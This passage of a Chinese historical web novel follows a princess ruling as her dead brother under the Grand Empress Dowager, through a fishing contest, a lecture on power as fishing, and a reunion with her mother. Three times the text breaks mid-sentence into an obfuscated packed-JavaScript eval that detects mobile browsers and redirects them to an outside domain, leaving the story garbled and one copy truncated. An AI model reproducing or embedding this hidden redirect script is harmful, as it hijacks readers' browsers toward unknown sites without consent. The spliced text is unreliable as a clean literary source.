时人书法多效法前朝王右军,以自然流畅、形意生动为美。萧樗偏偏反其道而行之,书法险峻而靡丽。起笔纤巧,行至中段却陡然绷紧,似一把拉满的弓弧;末梢回钩时又猝然开裂,绽出一两道极细的岔枝。竖笔纤细得近乎透明,往往在收势时向左侧斜斜一挑,勾出一道金钩。 萧樗平日写字喜欢用洒金笺,再在云烟墨中掺上金粉,临写出来的字帖,如同镂金刻缕,华艳非常。若在日光下看时,觉金光烁烁,有金鸾引颈之妍态,若在烛光下看时,又觉冷光寂寂,见冷月钩沉之清骨。 金陵书法名家见之,盛赞不已,以“金钩细”称之。萧樗虽因时常生病的缘故,甚少出门见人,然其所写字帖风靡京中,但凡达官贵人、雅士骚客莫不以能得其墨宝为荣。 看着这幅字帖,萧含光忽想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175290|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那日在药师庵齐宝珠所言。 “阿樗前日见了皇妹抄的《金刚经》,还夸皇妹字写得极好呢,说自己就算再练一百年,也写不得像皇妹一样的好字……” …… 当日她听到这番话时,心中并没有太多感想,以为她的哥哥果真只是夸她的字写的好。现在她知道了,也许在哥哥心中,并非如她所想,全无一点兄妹之情。 宋海晏曾在她面前夸赞自己的妹妹,语气极骄傲,她能听出他对妹妹的想念。那样的夸赞是一种出于血缘的偏爱与羁绊,是自然的情感流露,并非因为自己的妹妹天下间谁都比不上。 皇太孙萧樗的书法已臻于大家之境,仍在太孙妃面前夸赞妹妹的字,言辞之中未必没有同样的想念与羁绊。 只是那时她不懂,后来再也没有机会去懂。 她的哥哥已经死了,现在她成了她的哥哥。 她从书案上取了一张洒金笺,开始临写这首乐府诗。 生年不满百,常怀千岁忧。 她想,她的哥哥贵为皇子王孙,却也寿数不永,长怀忧愁。人生在世,谁能长乐而无忧?不过痴妄罢了。 这时,她听到了殿外传来了一阵琴声,那声音清越处如远山松涛,清微而淡远;幽咽处又似冰泉寒流,低涩而绵长。 萧含光长于寺庙,不识音律,偏在此时此刻从那琴声中听出了人世无常、无所依傍的幽恨滋味。人人皆生于这一方阎浮世界,又被分隔于各自的小世界。偶有殊遇,遽又分别。自承悲喜,各不相通。 不知那弹琴者谁,又为何在此刻,奏出这般别恨呢? 她心中一动,唤道:“白女史。” 白令瑶旋即来到她面前,行礼道:“陛下,有何吩咐?” 萧含光问道:“是何人在弹琴?” “是齐韶齐公子。”白令瑶补充道:“他从前是东宫詹事,也是太皇太后的侄孙。太皇太后信任他,常邀他议事,命他在离此不远的清曜殿居住。他经常弹琴自娱,陛下第一次听到吗?” 萧含光仔细回想一番,之前似乎也曾听到琴声,只是如风声过耳,印象并不深刻。不像这次,那琴声清透幽远,穿透风雪,穿透层层宫殿与回廊,宛转落于她的耳中。 “齐韶?”萧含光念了一下这个名字,恍惚记起曾从齐宝珠的口中听到过她这位族兄的名字,那时,她还曾有意将他许给自己做驸马。 说起来那不过是旧年春天的事,如今忆起,却似乎已经恍如隔世了。 她抬起头,走到窗边,看向不远处的殿宇。 这是元宁初年的元日。雪霁初晴,宫廷的琉璃瓦上覆着一层薄薄的素雪,映着天光,泛起淡淡的青白色。天际处,几缕流云如轻纱般缓缓游移,透出微蓝的底色,恍若瓷釉上晕开的淡彩,宁静而深远。偶尔有风掠过,卷起几片细碎的雪沫,在光线中闪烁如星,旋即又归于沉寂。 她听到弹琴人自弹且唱,那琴歌穿过宫檐时,连风声都为之一停。 “虽有好音,谁与清歌?虽有姝颜,谁与发华? 仰讯高云,俯托轻波。乘流远遁,抱恨山阿。” 20. 第二章 俯钓长流 第二日上午,萧含光正在临帖,白令瑶传报消息,太皇太后请她觐见。 萧含光心中惴惴不安。 黄门郎在前引路,御辇绕过鳞次栉比的宫殿,一路向北而行。穿过一道朱漆拱门,眼前豁然开朗。这是一处皇家园林,雪后初霁,日光透过稀疏的云层洒落,将园中的景致镀上一层淡金色的光晕。园中梅林如画,枝头积雪未消,却已有点点红梅破雪而出。 行过梅林,便见一大湖。湖面光洁如镜,雪与天俱白,一片空明。 御辇在湖边停下,萧含光听到湖心亭中传来一阵琴声,与昨日她在正光殿听到的琴声似乎出自同一人之手,只是不同于昨日的沉郁,今日的琴声空灵澄净,似雪后空山,唯见乾坤之杳渺、天地之明澈。 她向湖心亭中看去,见亭中已经铺上厚厚的菱花纹锦毡,设下座席,太皇太后坐于东侧,南侧设一琴案,一位身着素服的青年公子正端坐抚琴。 萧含光心怀疑窦,太皇太后要教导她为君之道,为何不选在御书房或者椒房殿,而选在这种地方。白令瑶见她犹豫,催促道:“陛下,太皇太后正在等您,莫要耽搁。” 萧含光缓步走下御辇,步履虽稳,心中却如擂鼓。她走到湖心亭前,在太皇太后面前跪下,双手交叠,恭敬行礼:“孙儿参见太皇太后。” 琴声一停。 太皇太后淡淡瞥了她一眼,“皇帝起来吧。” 萧含光起身,立在一旁。 南侧琴案旁的青年公子也起身,面朝她下拜行礼,道:“臣齐韶参见陛下。”他的声音清冽,带着一丝冷寂之感。 萧含光颔首,按照白令瑶教过的礼仪,回道:“爱卿平身。” 当他抬头时,萧含光与这位太皇太后的近臣打了一个照面。 齐韶身姿挺拔如松,清雅出尘,眉峰似黛,眼若寒星,眸光清澈却深不见底。两人目光相接时,他眼中恪谨之意略散去了些,浮现出一抹浅到几近于无的笑容,既不显得疏离,也不显得接近,恰到好处地维持着一种介于温和冷之间的距离感。 太皇太后的目光移来:“皇帝既然到了,那便开始吧——” 萧含光正一头雾水之时,内侍们已围了上来,撤去琴案,将两个小杌子放在亭边临水处,又取来两根钓鱼竿、两只木桶和一些钓鱼用的饵料。 一切准备齐当,太皇太后再次开口:“陛下昨日不是说想见太后吗?哀家想了想,决定给你一个机会。今日陛下可以与齐大人比赛钓鱼,到午时前,如果陛下钓的鱼更多,哀家便允许陛下探视你的母亲……” “啊——”萧含光傻眼了,她万没有想到今日竟是来钓鱼的。 她当然想早点见到母亲,以免母亲悬望担心。但她之前没有离开过药师庵,自然没有钓过鱼,后来进入皇宫待嫁,也没有机会钓鱼。她既不会钓鱼,又如何取胜,只好如实奏道:“太皇太后,孙儿不会钓鱼。” “既然是比赛,自然公平为上。哀家问过了,齐大人从前也没有钓过鱼。冯大用——” 太皇太后唤了一声,一名老黄门从亭外奔入,跪于太皇太后身前:“小人在。”太皇太后道:“你就将其中关窍,向他们二人演示一遍。” 冯大用道:“是,请陛下和齐大人跟着小人来这边。” 齐韶起身,到太皇太后面前跪下,奏道:“太皇太后既言公平为上,臣斗胆,如果臣侥幸赢了陛下,也想向太后讨个小小彩头。” 太皇太后微微挑眉,目光中带着一丝探究,淡淡道:“哦?齐爱卿想要什么彩头?” 齐韶道:“臣想暂时保密,待臣获胜之后再禀报太皇太后。” 太皇太后果然很是信任齐韶,并不追问,露出一抹温和的笑意来:“齐爱卿既然开口,哀家当然应允。” 齐韶再拜谢道:“臣谢太皇太后隆恩。” 冯大用拿着钓竿到湖边,将如何上饵、如何甩钩、如何根据浮漂判定鱼是否咬钩、如何拉杆向萧含光、齐韶二人演示了一遍。之后,冯大用又单独走到萧含光身前,低声谄媚道:“陛下,太皇太后最喜欢钓鱼。一年三百六十天,倒有三分之一的时间在这里钓鱼,太皇太后说这钓鱼的道理和治国的道理一样,就四个字——用乎一心,陛下只要用心,自然不难钓到大鱼……” 萧含光哑然。 用乎一心——难道这就是太皇太后要教导的治国之道? 做事固然需要用心,天下事若是用心即可就可做好,这世上就不会有难事了。 那边齐韶显然学得极快,萧含光还在琢磨冯大用的讲解时,他已娴熟地甩出钓竿。不多时,浮漂微动,他手腕一抖,一条三寸左右的鲤鱼便被拉出水面,稳稳落入木桶中。 萧含光未免着急起来,既是比赛,她怎肯落后于人?更何况,这关乎她能否见到母亲。 湖面如镜,倒映着天光云影。萧含光学着冯大用的样子,将饵料挂在鱼钩上,笨拙地甩出钓线。浮漂在水面上轻轻晃动,她的心也随之起伏不定。 不一会,鱼漂轻轻晃动,萧含光见鱼咬钩,迫不及待提竿而起,鱼线忽地向下一沉,拉出水面时,鱼钩上已经空空如也,萧含光怔愣在原地。 一旁的冯大用大为焦急,道:“陛下,您太心急了,鱼还未咬稳钩哩!” 又比划道:“陛下,就算鱼上了钩,也不能这般急着拉。这一用蛮力,鱼就跑了。这得欲擒故纵,掂量着轻重缓急,等它咬深了,不肯松口了,再快准狠地拉上来。” 萧含光再次甩出鱼钩。这一次,她强迫自己静下心来,目光紧紧盯着浮漂,感受着鱼线传来的细微颤动。终于,浮漂猛地一沉,她屏住呼吸,手腕轻轻一提,一条青鱼跃出水面,鱼尾拍打着水花,溅湿了她的袖口。 她小心翼翼地将鱼放入桶中,鱼尾拍打着水面,溅起几滴水花。她低头看着桶中游动的青鱼,心中涌起一丝满足感。 冯大用拍手笑道:“嘿,陛下钓上来了——”他偷眼瞥了瞥太皇太后,见她正闭目养神,便压低声音对一旁的小太监们呵斥道:“你们杵着干什么呢?还不快将从前陛下喜欢吃的榛子糕取来,这钓鱼可是体力活,陛下坐了这么久,肯定都饿了……” 萧含光微微一怔,她并没有吃过什么榛子糕,怎么谈得上喜欢。但她很快反应过来,冯大用应该是将她当成从小长于宫廷的皇太孙萧樗了,所以在她面前献媚。太皇太后命他教二人钓鱼,他巴巴地围在萧含光身前,见她钓上鱼格外欢喜,那模样就像是他自己钓着鱼了一样。 小太监们很快奉上榛子糕,萧含光吃了一块,果然香甜可口。她心中暗自思忖:冯大用将自己当成萧樗,可见即使是太皇太后的心腹,也并非人人都知道这“李代桃僵”之事。这也十分合理,这等机要之事,当然是知道的人越少越好。 她不由得瞥向一旁的齐韶。他依旧正襟危坐,目光专注地盯着湖面,仿佛对周遭的一切都漠不关心。她想,这位太皇太后身边的近臣,知道她的真实身份吗? 日影渐高,在冯大用的指点之下,萧含光又钓得了三条鲫鱼、一条鲤鱼。只是那条鲤鱼入桶之后,鱼漂便不再有动静。反观一旁的齐韶,却是收获不断,不一会,桶中已有了各种鱼十余条。 她忍不住侧目望去,见他神色专注,目光一直注视水面,未有丝毫偏移。他的每一次甩杆都精准优雅,收杆时手腕轻抖,鱼线在空中划出一道优美的弧线,动作从容不迫,仿佛这钓鱼不仅是一场游戏,更是一种修行。 她心中恼恨起来,这个齐韶,竟如此不知进退!他难道不知道, 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冯大用道:“太皇太后,这钓鱼怎么能用多少来论定输赢呢?若是一人钓了十条小鱼,另外一个人钓了一条大鱼,可这条大鱼比十条小鱼加起来还要重。要是得小鱼者胜,得大鱼者反而输了,这当然不公平。” 太皇太后瞥了一眼萧含光的木桶,含笑道:“你这奴才,倒是颇知道上下尊卑。但你说的也有几分道理,这样吧,就按你说的,到午正之刻,将两边的鱼称重,重量多者胜出。” 她向齐韶道:“齐爱卿可有意见?” 齐韶道:“臣并无异议。” 萧含光不知冯大用是何用意,论数量她比不过,论重量也是一样比不过。 谁知冯大用兴冲冲地走了过来,不知从何处找来一只寸长的大鱼钩来,又团了拳头大小的鱼饵挂在钩上,笑眯眯道:“陛下,老奴时常陪伴太后在这湖中钓鱼,知道这湖中有一条二尺来长的大青鱼,陛下若是能钓上它,一条就能抵上一桶了——” 萧含光这时也别无它法,只得死马当活马医了。便照冯大用的指点,将身体前倾,将鱼钩尽量甩远些,以冀望吸引到那条大鱼。她也知道,眼下是自己反败为胜的唯一机会,便平心静气,打起了十二分的小心。 不一会,果然感觉水下鱼竿猛地向下一沉,冯大用大喜,拍手叫道:“来了,大鱼咬钩了——” 他话音未落,萧含光脚下一滑,差点跌入水中。这鱼咬钩极深,此时挣扎起来,一股巨力将她往水中扯,鱼竿差点脱手而去。好在她知道此时松手,功亏一篑,只咬紧牙关,苦苦坚持,冯大用见状,也上前来帮忙,帮她稳住鱼竿前端,一点一点往岸上拉。 鱼竿绷得极紧,几乎弯成半圆形,发出吱嘎的声响。眼看大鱼就要出水,萧含光的手腕已酸麻不堪,却仍死死握住鱼竿。忽然,只听‘崩’的一声,鱼竿竟断成两截,大青鱼拖着渔线和半截鱼竿,迅速没入湖心。 这时,日影已升到最高之处,女史白令瑶走到湖边,检视两边木桶,道:“午正之刻已到,齐大人胜出。” 冯大用大失所望,连连跺脚,唉声叹气道:“哎呀,就差一点点,陛下就赢了!真是可惜,可惜啊!” 他走到齐韶身边,小声埋怨道:“齐大人,您怎么可以赢陛下呢,就不知让一让吗?您又不是不知道,陛下身体不好,力气不足,您可是占了老大便宜了……” 齐韶摇头,意味深长道:“两国交兵,敌强我弱,敌方胜券在握,会主动退兵吗?” 冯大用不以为然,嘟囔道:“不过钓鱼而已,齐大人怎么扯起两国交兵的事来了……” 齐韶不再言语。 萧含光跌坐在岸边,发出一声苦笑,看来她今天想要见到母后的愿望是泡汤了。 一旁,小太监高声唱道:“太皇太后命起驾,回椒房殿——” 21. 第三章 其钓维何 御辇在椒房殿门口停住。 在白令瑶的导引下,她再次进入太皇太后居住的宫殿。 国丧之期已过,椒房殿的白幔白障并未拆除,铜灯台上烛光摇曳,将幽暗的回廊映照得忽明忽暗。殿中弥漫着一股冷香,那是沉水香的气息,地面铺着厚重的织锦地毯,花纹繁复,踩上去无声无息,即使在白日,这座宫殿也给人以幽深之感。 当太皇太后在上首凤座坐下时,她在湖心亭所表现出的慈和彻底消失,重新成为萧含光熟悉的那位威严、冷酷、执掌一切的老妇人。 萧含光不自觉打了个冷战,寒意从脚底直窜上来。她跪伏于地,额头触地:“太皇太后。” 一道严峻的声音从高处落下:“陛下可知,哀家今日为何让你和齐韶比试钓鱼?” 太皇太后没有让她起身,萧含光也不敢挪动身体,答道:“太皇太后想通过钓鱼一事来教导孙儿,做任何事都要用乎一心,钓鱼如此,治国……也是如此……” 她声音微微颤抖,这“用乎一心”的说辞是来自冯大用的提点。她虽觉得这其中道理无法类比,但冯大用是太后身边的人,这话也是太皇太后自己说过的。就算答错了,太皇太后也不至于自唾其面,说她答得不妥。 “呵——”上首传来一声冷笑:“陛下长进了,学会了用哀家身边的人,还学会了曲意讨好……这一个月果然进步神速……” 萧含光惴惴不安,不知太皇太后是喜是怒,又听得上首之人威严的声音:“萧樗,你抬起头来,看着我的眼睛——” 萧含光不得已跪直身体,抬起头,看向太皇太后的眼睛——那双眼睛苍老、威严、深邃,一点也不浑浊,她能窥见其中炽盛的光芒,那是上位者的睿智与野心。 她看着那双眼睛,听太皇太后一字一句、声量十足地道:“萧樗,你听好了,权力是一种操纵的技艺——” “男人执掌权力,将之视为一种武器。使用权力,就是拿刀杀人,谁若不服,就用刀斩下他的头颅,直到服从为止。你的祖父一生征战,灭国杀人无数。然而他戎马四十年,北魏的鲜卑人,仍然占有我中原一半的国土。我齐明霜作为一个女人,和他有不同的看法。我认为,使用权力是一门技艺,这门技艺和琴艺、书法,并无不同。我平素喜欢钓鱼,所以将之与钓鱼类比——” 她不再自称“哀家”,而是直接以“我”自称。她抬起头,手指青天,“这片苍天之下,九野之土,浩如沧海,黎民百姓,俱为泥沙,我大楚的利益,便是这浊水中的鱼虾。一国之君执掌权力,便如使用鱼竿从沧海之中捕鱼,你能得到多少,全凭你如何掌握这门技艺。” “若要得鱼,第一在用饵,第二在忍与等,第三在操竿的技艺。权术之道,也是同样。你觉得如何?” 萧含光只觉一片茫然,她初入宫廷,在白令瑶的教导之下通晓一些常识。太皇太后的话她每句都能懂,却全然无法理解,更不知太皇太后说这番话的用意为何,自然也答不上话,只好以头触地:“太皇太后,孙儿……听不懂……” 太皇太后微微倾身,语气冷冽:“钓鱼之道,用饵第一。想要得鱼,就需用饵。人人心中皆有欲得之物,这便是‘饵’。就比如你,想要见到你的母亲,所以你不得不放弃婚约,跪在我的面前,听从我的使唤与号令。你的母亲是‘鱼饵’,你是水中之鱼,我是岸上持竿之人,从此执掌你的生死。你若想脱钩而去,就得放弃你的母亲,你懂了吗?” 太皇太后的视线落在萧含光的身上,那目光并不比之前森寒,语气也并不比之前酷烈,然这般直白的比喻仍然让她背上生汗,萧含光声音艰涩:“孙儿……明白了……” 太皇太后又道:“再比如庐江宋家,之所以胆敢向帝室求娶公主,正是仗着他们家坐镇淮南二百余年,历经数朝而不衰。而淮南为我大楚朝廷最重要的战略要地,是抵抗北魏的第一道屏障,他们以此为‘饵’,求娶公主,即使我萧氏贵为天子,也不得不妥协。” 她低叹了一声,“如今公主虽死,但对于朝廷而言,如此重要的‘饵’掌控在宋家手中,始终是个隐患。今日,他们可以用之来求娶公主;明日,他们也可以用之来换取更多、更大的筹码。” 太皇太后瞥了一眼萧含光愈加苍白的脸色和几乎跪立不住的身体,眼中闪过一丝冷意,随即终止了这个话题。 她缓缓起身,走到窗前,背对着萧含光,声音低沉而有力:“我们再说第二条。钓鱼之道,在忍与等。拉勾起竿,唯有时机精准,游鱼才不会脱钩而去。四十八年前,你的祖父第一次因缺少军粮到江左齐家求援,我在花园中见到他的第一眼,便知他会是改变天下之人,也是我通往至高权力的钥匙。我说服我的父亲,将我嫁给他,又给了他齐家所能给予的一切支持,就是为了今日。我从一个草莽武人的妻子,成为皇后;再熬到他死去,成为太皇太后,执掌整个大楚朝廷。这一切的要义,就在‘等’与‘忍’二字,在成功之前,一切都需要忍耐。” 萧含光无言以对,心中却如惊涛骇浪般翻涌不已。如果太皇太后在四十八年前嫁给萧胥时,就已计划着等他死后自己掌权,中间甚至熬死了所有的儿子和孙子,再挟持唯一的孙女为傀儡,这份心志与忍耐,确实无人能及。 太皇太后说到这里,有些口干,命宫人奉上茶水,接着道:“第三条也是最重要的一条。权力是一种适度的艺术,钓鱼也需凭借自身的实力,如果力气不足,便只能以小饵钓小鱼。若是贪心不足,意图以大饵钓大鱼,要么被鱼拖入水中,要么鱼竿折断,徒劳无功。这般教训,皇帝今日已经见识过了。” 萧含光恭顺道:“是。” 太皇太后道:“当然,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197300|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理,皇帝一时半刻也想不明白。只需牢牢记在心里,以后仔细琢磨就是了。” 她说完这些,略显疲态,身子微微向后靠去,闭目养神片刻。她毕竟是花甲之龄的老人了,上午在湖心亭中坐了一上午,这会又说了半天的话,已然怠倦。她呼吸渐渐平稳,凤座之上响起轻微的鼾声。 白令瑶走到萧含光身边,将她扶起,道:“陛下,太皇太后该午休了。您今日也乏了,奴婢先送您正光殿休息吧。” 萧含光跪了偌久,双腿发麻,只能在白令瑶的扶持之下勉力站起。 太皇太后忽又睁开眼睛,似乎想起什么,道:“对了,齐韶呢?” 白令瑶道:“回禀太皇太后,齐大人仍在外殿等候。” 太皇太后道:“你请他进来。” “是。” 白令瑶出门之后,齐韶步入内殿,跪下行礼。 太皇太后打了一个哈欠,倦声道:“齐韶,你今日赢了比赛,哀家既承诺应你一件事,也不会食言而肥。你现在说吧,你想要什么?如今东宫已殁,你那东宫詹事的虚职也无须再领了。哀家也不是小气的人,朝中职位,三公以下,所有空缺的职位,卿可随意择之……” 萧含光心中也生了好奇之心,齐韶今日比赛这般卖力,他想从太皇太后这里得到什么?真如太皇太后所言,是为了求得高位吗? 齐韶神色从容,摇了摇头,道:“臣为太后臂膀,即使不求,太皇太后也会给臣安排一个合适的职司,臣今日求的是另外一件事。” 太皇太后闻言,睡意消散,眼中闪过一丝兴味,问道:“哦?是什么事?” 齐韶的目光朝她看来,轻声道:“母子天伦,是为天下至情。微臣斗胆,恳请明日带陛下去面见太后娘娘,求太皇太后允准。” 太皇太后眼中掠过一道寒芒:“齐韶,哀家素来信重你,你应也是知道轻重的。” 齐韶前额触地,再次拜道:“微臣愿以性命担保,绝不敢有误太皇太后的大事。若太皇太后不放心,可派人随行监视。” 太皇太后神情稍缓,语气也柔和了几分:“哀家信任你,这些就不必了。但宫门落钥之前,需得回来。” 齐韶再次叩首,声音恭敬而从容:“是,臣谢太皇太后隆恩。” 直到返回正光殿,萧含光也没有想清楚今日椒房殿的那番言论用意何在。从她成为萧樗开始,她就摆正了自己的位置——一具太皇太后手中的提线傀儡,以在深宫中保全自身和母亲。 太皇太后派出楚秋筠和白令瑶,她可以理解,是为了让她更好地扮演自己的角色。然而,今天太皇太后说的那番话,似乎无益于她成为一具更好的傀儡。 权力是一门操纵的技艺。 太皇太后说这些,难道真的打算让她执掌权力,成为大楚真正意义上的国君? 22. 第四章 母子天伦 次日。 楚秋筠知道她今日要出宫,特地寻了一套从前皇太孙穿过的常服,服侍她穿上。萧含光上身着白底金线麒麟祥云纹长袍,外罩白狐裘,再以玉带束腰,腰下悬一块白玉双鱼佩,足踏锦帛承云靴,再将一头浓密乌发束起,笼于玉冠之中。一眼看去,俨然一清贵俊逸、丰姿灵秀的王孙公子,不显半分女气。 楚秋筠打量再三,仍不太满意,又让她坐在妆台之前,用青黛将一双细眉加粗了些,又用妆粉在下颚线处略加修饰,使线条更加流畅分明,方才道:“成了,就算是太后娘娘,只怕也一眼看不出来哩。” 用过早膳之后,白令瑶入内禀道:“陛下,齐大人已在殿外等候。” 萧含光步出正光殿,见殿外停了一辆马车,皂漆轮毂,上加青油幢,外饰青帷,朱丝绳络,点缀珠玉,华丽非常。齐韶依旧是一身素服,立于马车之旁。 见她出来,他微微躬身,道:“陛下,臣奉太皇太后之命,特来护送您前往太后娘娘的居所。” 萧含光颔首,淡声道:“有劳齐爱卿。” 她上了马车,靠左边坐下,齐韶走到车辕旁,对车夫低声说了几句话,也上了马车,坐在她的对面。马车辘轳而动,车轮碾过青石板路,发出轻微的声响,向宫门外驶去。 萧含光眯上眼睛假寐——她从未与陌生男子同乘马车出行,何况对方是太皇太后身边的人。她对他心存感激,但也不免戒备。既然不知该说些什么话,就干脆不说话。 齐韶显然也没有要和她说话的意思,自顾自拿出一本书开始看。他看起书来极专注,眼睛盯着书页眨都不眨,连马车颠簸都丝毫未觉。萧含光用眼角的余光,瞥了一眼书封,上面写着《六韬》两字。她心中起了疑虑,《六韬》是一本兵家之书,主要是写行军打仗的事。宋海晏身为将门之子,读这本书很正常,齐韶作为文表风流的世家公子,也会读这种书,还看得这般入神,就有些奇怪了。 她不免又想起宋海晏来。那日在栖凤殿,宋海晏吐血昏迷,陆思明急匆匆将他带回驿馆医治,萧含光当时派御医随行,但随后她被太皇太后派人带到正光殿,便再也无法得知宋海晏的消息。不知他伤势如何,是否已经醒来,又是否会相信她已经死了…… 马车驶过人群熙攘的金陵街道,又出了城门,一路向北行去,转向一条薄雪覆盖的山道。萧含光向车窗外看去,正值严冬,山道两旁树木早已落去黄叶,唯余斑驳嶙峋的枝桠,在白雪映照下更显瘦骨支离。偶尔寒风掠过,残枝不堪积雪,发出咯吱的断裂声。不知这是何处,母亲又为何被安排住在这远离宫苑的山中。 齐韶的目光依旧落在书页之上,似乎丝毫未注意窗外的变化。萧含光心中忽闪过一道念头——楚秋筠今日给她穿了一身白衣,如果她此刻从车窗翻出去,借着白雪的遮掩,是否能就此逃脱,从此得到她可望不可求的自由…… 这样的念头稍纵即逝。 她想到了昨日太皇太后的话语,“你若想脱钩而去,就得放弃你的母亲,你懂了吗?” 又想到了齐韶昨日在太皇太后面前的保证,“微臣愿以性命担保,绝不敢有误太皇太后的大事……” 她又想起去年春天的药师庵,她和宋海晏私奔,不仅未曾走脱,还害得宋海晏差点身死。如今,齐韶以性命担保,带她出来,她无论如何不能再害死另外一个人—— 马车行到半山腰,终于停了下来。车夫禀报道:“齐大人,行宫已经到了。” 齐韶放下手中书册,自己先下了马车,又搭手扶着她从马车下来。萧含光放眼望去,只见一座华美精巧的宫殿掩映在山林之中,飞檐翘角,琉璃瓦在阳光下泛着淡淡的光泽。宫殿四周松柏环绕,白雪覆盖,显得格外幽静。 萧含光问道:“这是什么地方?” 齐韶答道:“这里是城北鸡笼山的皇家行宫,太后娘娘便是居住在此。陛下请随我来——” 萧含光跟在齐韶身后,来到行宫门口,只见大门处有两行披甲执槊的武士镇守,目光冷峻,神情肃穆。为首将官见有人靠近,眉头微皱,露出戒备的神色。 齐韶从腰间拿出一块令牌,双手奉上,语气恭敬道:“在下齐韶,奉太皇太后的命令,带陛下前来面见太后娘娘。” 那吴将军见到令牌,神色放松下来,示意诸武士让开大路,跪于道旁,行面君之礼。之后,齐韶对着那吴将军低声耳语了几句,他便带着两名武士匆匆离去。 齐韶则转向萧含光:“陛下,请在此稍候片刻。” 萧含光满心狐疑,但也知道自己没什么说话的余地,只好先在原地等着。 不久之后,三人去而复返,对齐韶道:“可以了。” 齐韶点了点头,道:“多谢吴将军。”他又对萧含光:“陛下,太后娘娘正在等您,我们进去吧。” 两人行过一条长廊,便到了一处宫苑,牌匾上书“香云殿”三个大字。牌匾下方十几名太监宫女聚集在牌匾下方,远远见到萧含光,一起跪下,三呼万岁。 齐韶在殿前停下,道:“陛下,太后娘娘就在香云殿中,陛下可以自行进入与娘娘相见,不会有人打扰。微臣就在此处相侯。” 萧含光有几分明白了,齐韶大约是觉得她和母亲有体己话要说,她身份隐秘,不便让这些宫人知晓,大概是让吴将军先行清场。所以这些宫女太监不在宫内伺候,而是聚在这里。 她抬步走过白玉雕砌的台阶,向殿内走去。 苏太后已然得了消息,萧含光走到殿门前时,她便匆匆迎出,照面第一眼,眼泪已盈盈坠下眼眶,她踉跄几步,声音颤抖:“阿樗——” 萧含光身体直直定住。 母亲唤她“阿樗”,分明尚不知道儿子已经死了,活下来的是她的女儿。她顶替了哥哥的身份,此刻却不知道该以儿子的身份还是女儿的身份与母亲会面。 苏太后许久不曾见自己的儿子,絮絮叨叨问道:“阿樗,那天宫中发生什么事了?你妹妹的婚事怎么好生生地就取消了?她如今怎样了,嫁入宋家了吗?母亲这一辈子唯一的愿望就是希望你妹妹能够离开药师庵,嫁个好人家……你如今当了皇帝,可要多为你妹妹考虑,千万别耽误了她……” 萧含光愣住了。 看来那晚之后母亲就被软禁在此,至今不知后来发生了什么,她还以为自己的一双儿女都好好活着。 她更不知该如何开口了。 苏太后又看了她几眼,道:“阿樗,你气色倒是比从前好了。母亲早叮嘱过你,你身体不好,就该好生养着,别整日在后宫诨闹。从前是母亲害了你,总想着你妹妹已经及笄了,继续待在庵堂,难免误了她的终身,想要早点抱上孙子,好去陛下那里求情。这一年来母亲也想过了,万般都是命,半点不由人,命里无时,那是求不得的……好在你皇妹已经离开药师庵,这子嗣的事情你就先不用急……” 萧含光登时如五雷轰顶,猛一个激灵。她从未想过他的哥哥耽于声色,沉迷后宫,竟然会是这样的原因。两行眼泪不由自主从颊边流下,她闭上眼,想止住泪水,可心中酸涩一起涌上,又如何止得住,竟至号啕泣下…… 苏太后微微一惊,道:“阿樗,你哭什么?莫非你妹妹出了事?”她又多看了萧含光几眼,终于意识到了不对劲的地方:“不对,你不是阿樗……你是长乐……你是长乐……我的阿樗呢……我的阿樗呢……” 萧含光喉头哽塞,不能作答。 其实又何须作答? 在看到女扮男装的女儿时,真相已显而易见,苏太后突然明白了婚礼前一晚发生了什么。 她跌坐在地上,目光茫茫然,就像她的灵魂已经死去,徒留下一具空洞的身体,她眼眶含泪,反复问道:“长乐,我的阿樗呢……” 萧含光终于哽咽出声:“母后,哥哥……哥哥已经死了……” 她抱住母亲颤抖的身体,想要安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很多时候,人都是为了牵挂才坚持下去的。 萧含光从香云殿走出,齐韶正在牌匾下方等她。当看到大楚国君明显哭过的眼睛时,素来神情寡淡的青年公子不自觉地皱了一下眉。 他似乎想说些什么,但终究什么也没说,只躬身问道:“陛下,我们可以回宫了吗?” “嗯。”萧含光抬起头,第一次向齐韶投去感激的神色,低声道:“齐爱卿,多谢你。” 齐韶已恢复惯常的淡然神色,轻声道:“陛下不必言谢。陛下是大楚的国君,齐韶是大楚的臣子,为君王分忧,是臣下的本分。” 萧含光心中苦笑,为君王分忧吗?他或许是位良臣,只是她这位国君,不过是个名不副实的傀儡罢了。如今太皇太后大权在握,他身为太皇太后信任的宠臣,大可不必帮她。她给不了他任何回报,还让他因帮助自己差点招致太皇太后的反感。 她又道:“无论如何,我对你心怀感激。如果我将来有能力,必会回报这番恩情。” 这一次吗,她没有按照白令瑶的教导自称为“朕”。此时此刻,她并不需要这一层虚伪。 齐韶低头道:“陛下,微臣并不需要您的回报。只要您将来掌握国政,多做对大楚有益之事,微臣于愿已足。” “掌握国政?”萧含光自嘲一笑,道:“齐大人,你高看我了,我不过是太皇太后掌中的提线木偶。” 齐韶轻轻摇头:“陛下,您太妄自菲薄了,而且太皇太后也并不是您想的那样……” 